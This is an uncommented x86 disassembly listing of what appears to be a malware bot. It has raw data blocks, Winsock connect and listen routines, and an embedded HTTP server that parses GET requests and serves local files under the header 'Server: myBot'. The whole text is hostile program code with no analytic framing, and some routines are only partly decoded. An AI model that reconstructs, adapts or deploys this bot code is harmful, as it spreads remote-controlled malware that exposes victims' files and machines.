		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 2415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 16D6E890h
		db 2Eh,	2
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 0E890026Ah
		dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h
		dd 10A16671h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CB9D4h, 0C6458966h,	6AC4458Dh, 90575010h, 6A4A69E8h
		dd 7DC08571h, 0E9C38B07h, 548h,	0E8570A6Ah, 716A696Ah
		dd 0D49D8990h, 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh
		dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh
		dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h,	6A23DBE8h
		dd 0F8839071h, 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h
		dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CA96E850h,	646A0000h
		dd 0FF50858Dh, 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh
		dd 5750FFFFh, 16E57E8h,	0FC08500h, 4A284h, 0F87D3B00h
		dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh
		dd 6A916CE8h, 0FFF88371h, 479840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h
		dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 4349A4h, 0D6DDE850h,	858D0000h, 0FFFFFF50h, 43499C68h
		dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h,	49846816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh,	0E8500043h
		dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h
		dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h
		dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h,	68FFFFFFh
		dd 434944h, 0D3D2E850h,	85590000h, 0A7559C0h, 68106A56h
		dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h
		dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h
		dd 0BF000002h, 434904h,	0FF50858Dh, 5057FFFFh, 0D38BE8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h
		dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h,	590000D3h
		dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h
		dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h,	7559C085h
		dd 0BE0A6A34h, 4348A0h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh
		dd 434898h, 0D2CEE850h,	85590000h, 2A7559C0h, 80BE056Ah
		dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h,	0F59C085h
		dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h
		dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh
		dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h
		dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h
		dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh,	45891CC4h
		dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h
		dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h,	481C681Dh
		dd 6E90043h, 8D000001h,	0FFFF5085h, 481468FFh, 0E8500043h
		dd 0D1BCh, 59C08559h, 0CC850Fh,	6A560000h, 47E86828h, 75FF0043h
		dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h
		dd 9E850Fh, 0B5390000h,	0FFFFFBBCh, 8D562375h, 0FFF72085h
		dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h
		dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h,	93850F01h
		dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh
		dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h
		dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h
		dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h
		dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h
		dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h
		dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h,	1B6A560Dh
		dd 43475868h, 875FF00h,	646AD3FFh, 0FD60858Dh, 5056FFFFh
		dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh
		dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE71C, eax
		mov	word ptr [ebp-10h], 2
		call	near ptr 71AB12F8h
		nop
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE71C
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2680000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE71C
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 2680EF8h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE71C
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9D4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA70
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9BC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA6C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349EC ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA6C


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349C4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0A80h
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax


loc_41004C:				; DATA XREF: ___:004385A8o
					; ___:004385BCo
		push	[ebp+var_44C]
		call	dword_4CBA24
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA6C
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0A80h
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A080 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 2690E7Eh
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


